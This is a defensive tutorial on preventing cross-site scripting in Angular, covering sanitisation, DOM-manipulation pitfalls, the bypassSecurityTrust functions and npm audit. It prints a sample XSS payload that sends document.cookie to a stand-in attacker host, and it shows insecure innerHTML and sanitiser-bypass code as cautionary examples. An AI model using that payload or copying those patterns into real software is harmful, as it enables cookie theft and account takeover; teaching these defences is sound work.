A typical story

You are an online shop user: long winter evenings are perfect to spend some time in your favourite online shop and scroll through the products. There are some great deals at the moment and the items of the new winter collection have just been released. You’re in a mood to shop, want to take a closer look at a cool shirt and click to see the product’s details. And BOOM! Without you realizing it, your private data and login details have just been stolen. But how could this happen, what went wrong?

The challenge & solution for developers

You are a developer: Find out below how cyber attackers can use Java Script in published comments to steal your customers’ sensitive data. Because what sounds like a true crime plot could actually happen on any non-secure website. But don’t worry – in this article you will learn about the JavaScript framework Angular. It’s security hardening mechanisms can be used to secure your website against such cyber attacks and cross-site scripting (XSS) in order to improve your IT security. Find out in this article how to use them correctly and what else you should consider to improve your cyber security. 

Crime scene on the web: security vulnerabilities on websites

You are the user again: what just happened while you were visiting the online shop? You visited a website with a security vulnerability. Without you realizing it, another user has uploaded a review for the product. This review not only contains nicely formatted text with the user’s experience of the product, but also JavaScript. Your browser detects it and dutifully executes the instructions described in it… which means to read the local memory and send the cookies it contains to the website of a malicious protagonist.

You have become a victim of Cross-Site Scripting!

But what exactly is Cross-Site Scripting (XSS)?

You are now a developer again: with XSS, attackers can execute a malicious script in the victim’s web browser. The strange comment from a user reads:

<script>window.location=”http://attakers.site/?cookie=” + document.cookie;</script> 

The browser thereby trusts the third-party script and grants the attackers access to sensitive user information such as login data. In the example case, the script reads the cookies stored for the page and sends them as parameters to a third-party page using a GET request. With these cookies, the attackers would be able to log in to the site with the victim’s stolen identity without knowing the login details.

But how can the browser know whether it’s a legitimate script? – It can’t!

JavaScript is not easily waivable because it makes websites more lively, interactive and user-friendly. JavaScript sends, receives and interprets data via the network. How can we still protect our website and therefore our customers?

Angular’s solution – trust no one

To systematically block XSS bugs, Angular treats all values as untrusted. If a value is represented in Angular using interpolating brackets – {{myValue}}, it is encoded by Angular. This means that the browser will interpret the value as a pure textual display element (string).

Dynamically generated content, as in our example of the user review, can also be protected by Angular. To preserve formatting HTML tags in comments and protect users from scripts, Angular has introduced [innerHtml].

So, potentially dangerous comments from users are dynamically integrated into Angular:

<div [innerHtml]="userComment"></div>
export class CommentComponent {
userComment: string = '<p>This is a <strong>user comment</strong> with <em>HTML</em> tags.</p>';
} 

Scripts are thereby automatically converted into normal text.

In the case of our user example, the <script> tag is interpreted and displayed as text. This effectively prevents this type of attack.

Plot twist: developers edit the DOM

Angular allows developers to customize the Document Object Model (DOM) of a website in several ways. In addition to the aforementioned data interpolation, property binding, template references and structural directives are just a few of the useful Angular tools for DOM manipulation. Unfortunately, this does not stop some developers from editing the DOM manually. One thing leads to another, code is reused in the application and is placed in a non-secure context.

@ViewChild("myHeading") heading: ElementRef 
setHeading(headingValue: string) { 
this.heading.nativeElement.innerHTML = headingValue;
}                                                                                                                                                                                  

In this example, the entry of a user can bypass the Angular security mechanisms unchecked.

Another way to bypass these mechanisms (also called Angular DomSanitizer) is to actively switch off these measures. As a developer, how often do you find the seemingly perfect solution on https://stackoverflow.com, but then you realize, that it is blocked in the current security configuration of the project? Angular also allows you to switch off the default-set protection measures using the following functions:

byPassSecurityTrustHtml()
byPassSecurityTrustStyle()
byPassSecurityTrustScript()
byPassSecurityTrustUrl()
byPassSecurityTrustResourceUrl()

Some of these are often outsourced to Angular Pipes, so that they are easier to reuse:

@Pipe({ name: 'escapeHtml', pure: false })
export class EscapeHtmlPipe implements PipeTransform {

constructor(private sanitizer: DomSanitizer) {}

transform(content: string) {
return this.sanitizer.bypassSecurityTrustHtml(content);
}
}

Unfortunately, it is not a good idea to use or even offer such methods that undermine protection.

Extra protection – npm audit

Implementing every little thing yourself? It’s inconceivable these days. A variety of solutions in the form of external libraries make it possible to quickly integrate a necessary dependency and then hardly anything needs to be implemented. But it’s risky, because external libraries contain the code of other developers and are therefore not protected against security risks. To minimize the risk of XSS from external code, it is recommended to use common and regularly updated libraries.

For an overview of potentially known vulnerabilities in your own application, the command npm audit helps. This command checks all dependencies used in the project for known security vulnerabilities. A report is then created that lists all currently known vulnerabilities in the project. An automated update of the affected dependencies can also be executed using npm audit fix.

Still some questions remain unanswered, depending on the project constellation, customer agreements and contractual conditions:

• How often should security vulnerabilities be checked for?
• How do you deal with security risks that cannot be eliminated by an update?
• How long can a security vulnerability be tolerated before the dependency has to be replaced by another one?

Coming up next

Your Angular code is now secure against Cross-Site Scripting attacks. The attackers are not happy about it. They now have to work much harder to infiltrate your website visitors with their malicious JavaScript code. Therefore, their target is now the software modules not written by you – the dependencies of your project. The iframe sandbox provides a stronger security framework against potentially dangerous third-party content on your website. Find out in the next article how you as a developer can reduce the harm of such malicious code in an imported, third-party content.